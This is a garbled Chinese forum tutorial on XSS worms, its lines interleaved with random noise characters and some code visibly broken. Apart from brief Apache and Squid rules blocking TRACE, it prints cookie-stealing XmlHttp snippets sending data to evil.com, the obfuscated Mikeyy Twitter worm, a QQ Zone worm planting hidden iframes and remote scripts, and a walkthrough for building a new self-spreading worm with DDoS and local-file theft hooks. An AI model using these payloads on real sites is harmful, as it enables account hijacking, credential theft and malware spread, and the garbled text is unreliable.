' p0 ?/ ]. Z* A/ D; c6 E2 \
% s# O/ [9 C& M1 v" c# H! m

) m9 G) ]0 ]5 f8 P6 {9 S  M. A+ O4 K如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
0 Q5 _5 \3 s# h
[code]
' n6 x. Z( F6 U; w
RewriteEngine On
" q+ }# `, m$ ]5 M4 W# m" n
RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]



& r# `' |0 p% x: N1 w$ m, Q! fSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

; g  _6 h) _' Jacl TRACE method TRACE
  g, G9 s4 L8 w( l" \
+ h& p% w/ ~0 [# x9 y( z& A- C...
& X2 {+ J4 g: L
  \* Y6 x& q0 |# p/ Nhttp_access deny TRACE
' x) t# s, d) E' C% @- I) e! u复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
4 V# P: u, P  p$ K' K
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

1 |8 _" ^# ?2 J9 C$ vXmlHttp.open("GET","http://www.google.com",false);
( [" t) I3 o6 _  ~' Y% R2 ]2 S0 L
0 \& |9 E+ \( bXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
8 y" Y! {: F; B4 j2 B1 B
% T5 }) }% E! Z) sXmlHttp.send(null);
1 _8 E% b. F2 I2 q8 C
+ |9 f, D. M; @  k, p% n</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");



( j8 B- ^5 Y1 A1 cXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

- M& x3 g  p% |2 g) B" D7 |* zXmlHttp.send(null);
; I8 Q- ~" J* s4 R4 _
  ~9 @. j0 j* a) W  n6 P; `6 W8 A<script>
7 m0 m, f' d* C1 z, K# ^复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
" H7 E! A+ _0 D% }5 F复制代码案例:Twitter 蠕蟲五度發威
, A/ O: [  k# U2 X第一版:
  下载 (5.1 KB)

6 天前 08:27
4 p- o' k7 \) Y) i9 o' k# `8 x
! M+ W6 c  I( S9 _第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

  V  L! F" P. n& [4 I& f2 y$ e- Y   2.   

+ {) S8 T$ V2 F0 S6 z   3. function XHConn(){  

+ C  E$ j' d) n% |, i1 Q$ P   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

9 k0 O( [6 t, @& L4 H* o* s) O   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
: g+ i! x; w9 J: M0 ~+ E3 ?
, C) G5 K& z: N5 D( n! a   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
/ I* P, z4 K; V# ?2 R0 p( [8 m
! ]& r% r, @8 a+ E   8.   catch(e) { _0x6687x2=false; }; }; };  
& U& r  F+ v( y6 z复制代码第六版:   1. function wait() {  
, z0 j8 J4 a0 w" ~5 ]
   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

4 j1 c0 ?, p; I2 `( L6 b   4.   var tmp_posted=tmp_cookie.match(/posted/);  
# X: ~9 R4 z' O9 m" K" ]
- X$ Y& r. W% x4 M   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
4 A" \6 L! C0 r! x1 X: G
   6.   var authtoken=authreg.exec(content);  
, S- q- b6 P- T% ^; o
   7.   var authtoken=authtoken[1];  

9 Q! Z9 K1 ?' @   8.   var randomUpdate= new Array();  
' l) i1 G, Z# C0 X; c* j$ F
6 s  p: I/ L0 E3 O/ n- e& A   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
" x" A$ [0 I# _9 h
9 m7 g" W, r) Q9 z2 f  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
9 i! q6 K3 k. i+ _/ t" R
  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
- O7 k( J( F) o. G1 d
$ x8 y3 l/ E# t' q  x8 h  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
# E  H: T9 s- ?& ]
9 |3 g4 B& \( `" _" h& p  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

2 w. M+ b. I/ t5 f  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
2 c4 \3 j3 X& s9 }6 @/ P
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
4 ?; E* _% S, i: a) x3 c
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
0 F4 J3 m$ K. D; F: c
7 D4 r+ M* M7 H1 w  L7 C4 p  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
% T/ F! o; V: w. o' N
  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
2 W0 Z1 o$ K- y% R# l9 m3 F
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
1 j) U4 h1 h# }- n& c
  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

: @' N3 ?. u; j8 j- C3 [  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
1 p8 }! |9 e3 ~: k# W
# s4 e7 j* h# F& V  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

+ t3 _7 E2 L  T% ^3 K  30.   var _0xf81bx1c="Mikeyy";  
& F2 d, Q$ u6 G& n
  31.   var updateEncode=urlencode(_0xf81bx1c);  
9 i1 A& }2 x8 K1 z/ w/ @
9 ~9 l0 y) X. {7 d6 _' _+ y. @/ Y0 b  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
  f' \& `- m- V9 I4 R1 n
  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

$ _; u+ I% P7 E+ W! V2 |  38.     

  39. } ;  
  l3 }! Z9 Z1 I( P" Y4 M3 D
  40. setTimeout(wait(),5250);  
4 }: o, a6 ?6 V复制代码QQ空间XSSfunction killErrors() {return true;}

. k5 u+ q0 J! l8 l6 cwindow.onerror=killErrors;
) A7 D" X  ~/ _( p% Z! C' P

0 Y9 N) _2 O( N& v: v
var shendu;shendu=4;
; q( E- g2 z( A; B/ |9 k
- V' \9 W, i" t//---------------global---v------------------------------------------
0 I, @  o7 C0 i+ M
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
+ q) n! T3 _# P2 `4 r2 e# T% c
6 ~' f+ c* e( M" l! Jvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
* R& _, r0 X3 H7 c3 y$ B3 }- M: ~
var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

* O8 Z  C5 j/ @; D, v" x% ]        var gurle=gurl.indexOf("com/");
6 V8 l$ b$ e- N; z; S9 m3 h
        gurl=gurl.substring(0,gurle+3);        
3 M9 Y- U) K$ R3 x% [: L! B( s
6 N4 y% h/ w4 z. H# E9 D4 @  @        var visitorID=top.document.documentElement.outerHTML;
! F- a/ ?* H/ Z6 f# s/ Q3 Q
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
2 F; j* b. I6 x1 K" G  \
3 j6 w$ D3 ?) {0 ]        visitorID=visitorID.substring(cookieS+14);
/ d9 Z9 \8 _8 ^! \' C6 D
        cookieS=visitorID.indexOf(",");
6 d  c9 B' ]+ ^9 e
        visitorID=visitorID.substring(0,cookieS);
% `4 L/ L4 ]) |0 l/ Q
! ?3 f$ d2 ]# y9 N' v+ i7 O        get_my_blog(visitorID);
( g; h! u4 Q4 g
2 `, h7 P" Q' t        DOshuamy();
: t/ l, L8 P8 a, k3 t


//挂马
7 C5 ^" e; L' e7 W
function DOshuamy(){
7 ?: Z4 o3 H. R/ |( C: c9 k7 U
6 G$ X" L' |8 M6 Z/ s4 w  \7 Uvar ssr=document.getElementById("veryTitle");

& w% w6 h& F' Bssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
- i5 `9 n) i1 {8 w) I
1 d9 U8 n) h8 U4 D' t}

6 Y9 _! g' c  v$ N3 f9 J
, V7 _) B4 Y4 \1 r# ^% T3 q  o7 V
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
% _6 t  y: @2 \. O3 c$ U8 y
function get_my_blog(visitorID){
" L/ N$ ]4 ^9 _3 h1 w
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

' m- I+ z6 ^2 [' h6 M8 ^( {     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
3 o; Y$ M% P3 @) B5 r" z7 X" [
     xhr.send();guest=xhr.responseText;
; P1 H) F9 w6 ]5 B
( a$ }8 ^- X. _* d8 G2 C; k! x     get_my_blogurl(guest);    //执行这个函数

1 h  i) p3 z8 L+ p    }

2 c( W9 S% g/ W1 _& ]" M}
  H  D- C: T- q9 K4 V4 x

1 Z  G  q* q; }- ^# P- m8 m
//这里似乎是判断没有登录的
" j  T! @  ^0 P. f0 v/ L: }
function get_my_blogurl(guest){

  var mybloglist=guest;

$ X; `% l5 [& d) H" t0 s1 G# X  var myurls;var blogids;var blogide;

3 s0 {5 `, E4 V/ u6 I1 ]& F: j  for(i=0;i<shendu;i++){
& A5 f4 N/ H5 d
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
5 \0 W9 M$ _  Z$ q3 G3 a/ ~% l
0 t7 q! j3 S+ [* L+ H, Z     if(myurls!=-1){    //找到了就执行下面的
2 r1 @5 u; A2 N9 S
         mybloglist=mybloglist.substring(myurls+11);
5 Y! |) N( U; n# H" Q
8 a& E# ~' j- j4 A& z/ {" \' j         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

0 O" E) m% [) f1 y. Q        }else{break;}
( b& f1 W  n; W( {3 ^- [
}
, m- t) ^1 F: e; f6 ~" Z8 r8 _! y
/ L. G% @* n' xget_my_testself();    //执行这个函数

}

) ]0 q; ]! D0 ~
  ~5 r, X  L1 z0 |9 M
/ N9 l3 X+ F" D//这里往哪跳就不知道了
( u# ~! M9 E1 ]8 p  \% Y( Q
  D) m2 w# I7 E- v2 P" ifunction get_my_testself(){

) `6 G+ n% I' N$ i) I2 C7 w  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
4 Y5 \2 [! C" X+ E, y' o6 c
7 b/ O2 l+ _. W, E  _% J4 I9 R: |      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
) @6 c  B5 V9 \6 a) V+ ~
$ e! z+ ~% V0 s, P4 o. g$ X      if(xhr2){        //如果成功
; E% D$ m4 I' A9 s6 H+ M$ q- |5 U
              xhr2.open("GET",url,false);     //打开上面的那个url
: l  r' i. M, T# B, C# A# L) g# i
              xhr2.send();
, y! H$ j' f8 {( |( S' n) x
  M8 X' f5 H) M2 O' T; B              guest2=xhr2.responseText;
6 F" s% ?1 ^% X( V# I5 f
# J+ q4 g( T% e  e8 N1 C; A              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

1 i( K  w: ^' l# R& {# j! i              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
# R; I3 T! M" x6 }% a3 c# {
2 e1 X( c0 q7 s: D& r# i: F              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

2 D7 p$ P; ?+ G8 _7 f2 C                targetblogurlid=myblogid;   
' X1 L( c7 G0 k2 D. ~
: I, }: S/ {) D" u/ _7 j                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
: M4 I; c2 a  L
                break;

               }

              if(mycheckit=="-1"){
# C) c/ m0 v" o# K# r' T; _$ {+ t8 l
                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

# Y2 `$ H% M- R( ?                break;

               }

        }      
! k! f; O0 k* I1 p! a
: j$ Q' _* Q) X4 S3 O3 p}

}

5 F3 g: T, Z: V5 [

//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
0 s6 G( W4 U# e+ Z7 n$ z8 a
& e8 b3 Y& ]* k6 v, c% j/ I/ bfunction createXMLHttpRequest(){
% \* a6 P+ j8 U: I9 A) E/ ^0 c, m( s
    var XMLhttpObject=null;  

3 \. S% ~" d9 I0 c( A$ M' d    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

    else  
4 s+ a6 W9 }2 p* f" V/ \
; a$ @4 a( q" E( x8 a      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
3 s2 e, [' _/ S4 s- A
        for(var i=0;i<MSXML.length;i++)  
8 v2 ]1 F2 P8 d9 _
% c. }9 [7 Y6 c1 F        {  
1 f; n1 @& K5 G; c* x0 _
            try  
: `1 r! B$ u- [' ?, Z- U& C
            {  
: m( i. B9 A' A. F" f
/ f+ X) q5 K3 y2 G, k                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
( M$ D5 `$ {: L5 N& v( W
            }  

3 K4 f* `/ j$ v6 S2 ?1 s/ Z            catch (ex) {  

            }  

' x' s/ ?4 R  [) _5 N         }  
  m5 T- i- Z& K5 A4 ~( R
0 E; k7 Z5 j  b: u% o! a      }
- l8 I  G5 S8 J6 R  V: r, T% W5 ~
& @* x( ?# R% J0 ~return XMLhttpObject;

, M1 q; V, K1 u+ W4 l9 ^/ A}  
* \! l2 l1 s; ]- P* z, W, D( H
$ n1 ^, l( U7 r5 I: V9 h

//这里就是感染部分了
$ l) ~+ ^+ G& A1 r8 J
% d; X! Q6 _9 ^4 ], ^function add_js(visitorID,targetblogurlid,gurl){
& ?, B4 P" y# W: Y% W
+ N8 }$ p$ s: `6 z. evar s2=document.createElement('script');
4 e& I, `* z. e
5 h6 y9 _3 p: s$ r6 E9 b2 K3 @s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

  o- ]: ~" [$ _7 P  J. ^, ?: q/ d3 Cdocument.getElementsByTagName('head').item(0).appendChild(s2);

}

( S# r( h5 v6 R
9 c" B/ S% d4 U2 e8 E
% f. l0 @9 T# M* @. {function add_jsdel(visitorID,targetblogurlid,gurl){

2 U0 h" d) Z: c4 R7 O; lvar s2=document.createElement('script');

0 i. @1 _* d4 R& }s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
3 l: \' e/ m3 ^/ U8 Z7 r8 W/ b
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
0 H* K, B, o4 _* `, y
$ p" ~4 q. a) d& C; h  V8 O}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
9 [$ i- B+ Y- ]' T( V2 Z8 e  U; [
& m9 I' ?3 z+ C7 T9 n& a2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& s0 ^) F+ X5 t& }% A3 f  U
4 X. ?- C, y+ O综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
" ^4 y( J8 Y, t7 J3 f
9 v4 z+ [. l4 A1 Zif(window.XMLHttpRequest) {

request = new XMLHttpRequest();

if(request.overrideMimeType) {

request.overrideMimeType('text/xml');
1 G$ N2 w9 \3 L& W: k/ z2 Z, N
}
$ N2 H) x+ z. T* S" i% H
} else if(window.ActiveXObject) {
1 `; c' q6 M) F* Y2 f: L
% c; I# T7 s$ M' `4 kvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
1 u% Z6 @& }2 n7 s0 R7 T
try {
5 J) U( e( s8 t8 c+ I, V$ d5 C  g# u
request = new ActiveXObject(versions);
& |7 v( L0 `8 n9 C  E: I! P& S
/ ?1 N3 ^& P5 r; |* {/ ^} catch(e) {}
& w) @' A+ a+ ?( P
}
- n  F2 h# J7 a7 M2 g& c( B
: A4 {+ l2 t7 z}

. V& r2 y9 }8 a* R7 |: W. s9 n' WxmlHttpReq=request;
9 K% [) E0 h. t2 d# S复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
6 o' c1 F) Q0 f5 W( Z* H) C
0 D$ R% K8 y* U* s9 h+ X        var Browser_Agent=navigator.userAgent;
. x" f; b% w5 a' N7 P6 U
) M- _+ F) o9 C' [) e! I% T        

        var Actual_Version,Actual_Name;

* p4 x2 M1 ?1 r3 R) c0 g        

1 U& F( c# N: S8 O        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
7 t# d* u, Y4 H. c7 d( o) t% S
7 Z. a/ e3 R- q+ q% e7 G        var is_NN=(Browser_Name=="Netscape");
$ k  A$ {5 X0 C3 y4 A
        var is_Ch=(Browser_Name=="Chrome");
. Q# ~: }" _- V$ I5 r2 J
        

        if(is_NN){
) O' o& h! s! l
            if(Browser_Version>=5.0){
* o+ l) Z* K5 F" z+ M! Z
                var Split_Sign=Browser_Agent.lastIndexOf("/");

/ M! K# w9 a6 O( V' f, j                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


# n# o  t9 K) I& v* {1 d; \
: k8 q1 S8 r" Z$ o4 a                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
! F1 c2 Z+ K7 Y) L' K. b, J
            }

            else{

8 C/ T! n5 ?4 N2 ]  z                Actual_Version=Browser_Version;

& [0 o, p& }. a5 J$ d5 P2 z2 l3 b& ~                Actual_Name=Browser_Name;

            }
* F) P" m3 D8 K7 p
( x: O) N, e. l! V6 V6 q1 y3 X        }
1 D+ l5 v7 l+ ~7 J
        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
* m; x6 j# i; M" w0 {2 J
4 F- x5 s. A; n6 w, B            var Version_End=Browser_Agent.indexOf(";",Version_Start);
6 {% b" t9 a, ]3 @* }. u
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
% q# W( ?8 X% t
            Actual_Name=Browser_Name;
4 E+ i8 Z9 p. M4 n0 \# `, p
            

9 X' h7 G* `2 Y' H; P& D  ?* G: V            if(Browser_Agent.indexOf("Maxthon")!=-1){

6 b- X/ v9 S9 S$ C, [" b! O                Actual_Name+="(Maxthon)";
- w- l9 E3 i8 n
            }

# T1 g# [3 |( {% a: S            else if(Browser_Agent.indexOf("Opera")!=-1){

  N9 I( {! D- P. i  \- F                Actual_Name="Opera";
% p9 [+ _, \5 ~1 R8 ^: w2 M9 u
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
" t7 C+ Z: s6 [
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

        else if(is_Ch){
" [2 j/ `( O' E2 X9 p) ~
            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
; F) U: q0 a! J: Y2 Z. R/ I& a: M
/ D5 b' B+ M5 V% f/ ]+ Y1 K' x            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

' f6 ]  B* r% R8 u6 U            Actual_Name=Browser_Name;

3 {6 b8 E( ^: u, u6 w  q6 _            

0 K. l8 @& ~4 ^8 |! f5 s3 T/ I            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

/ F# N" x; W) ?- @! Y7 j4 o9 w            }

; p$ a9 {; t6 N& r( K            else if(Browser_Agent.indexOf("Opera")!=-1){
7 |1 Y3 f+ o' R0 p2 Y; q) Y
                Actual_Name="Opera";

: H% C# X& D. _+ d/ `0 k7 H3 }                var tempstart=Browser_Agent.indexOf("Opera");
0 Y" }4 _" H# m) Z
# W4 K6 q) k% S# O6 D2 |" a                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
) F% i) X1 k0 A. p7 e7 {
            }
% G4 \3 }; t1 v# ^3 V- m
        }

$ S1 i, J7 Q0 j( H7 g% f        else{

            Actual_Name="Unknown Navigator"
. X" \& Y& r4 Q# V: D% {5 ^* q9 x
3 t$ z3 m5 G* j- P            Actual_Version="Unknown Version"

# ]  ~& [2 D4 m( q% s2 F) t* W# x        }

1 Z8 J) a4 ]8 G) N- H0 e" x
/ W9 {+ t0 {$ P6 p
        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;

, Y/ _! b" z. L- J        

$ L3 a2 h5 [! L6 G        this.Name=Actual_Name;

        this.Version=Actual_Version;
2 `0 Q: @! ^/ J' f. y! Z
    }
. S, g% g8 j4 y$ y, p
    browserinfo();
; |# l7 a3 K8 W. U" F/ P
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

1 H# M) X  r3 X    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

7 z; K, K$ s1 X/ t/ \    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

( p8 F+ S0 b# z& R" W! w6 s$ E: Y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
9 H8 r2 i( [( w复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
3 m+ W! V6 Z& L; V
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
! D& r; f4 t$ k. ?, p
: e8 h4 d4 x2 p" Wwhile ((result = patt.exec(resource)) != null)  {

! C& H+ t3 P. U4 d0 D& Gid++;
. N8 V6 M- |0 ~: n1 R
, @/ T' i$ S9 o& d7 |" H}
  j- k7 n0 M0 j* X/ _复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
* r9 h: f1 f) w( x+ r% c) f
  ]1 {3 h, i/ k9 Bvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
% N; u7 n4 y9 V/ F9 H
- Z! P' |0 q- A5 v& X2 Avar post="wd="+wd;
, T+ C/ h$ \+ B) c# ?" t
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

2 ^: e( ^6 e5 ]3 E  YxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

, o4 a$ _$ [7 Q# k  e2 l3 LxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

, _+ R/ B( g; N- e6 e}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  V2 Z! ]- @- j8 H3 G  X% {
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
3 T" F' Q- f4 \: z/ S$ ]2 g$ h" G! s
- i! v( Z7 Z9 `& [var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
! U9 Y, n1 j& c* t! r: c
var post="wd="+wd;

- H/ a2 E+ G: Y% x( u% ZxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

; C& c/ c& u( Z8 L: n# sxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
  \+ J& ^( u- d0 F" S" }0 V7 I
: N( F% b9 ~2 H& H# `xmlHttpReq.setRequestHeader("content-length",post.length);
5 I6 I) H3 M4 j; G. v/ h, g9 g9 Z& p  ]: H
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
# F5 s9 Z! E, a3 w9 t  H
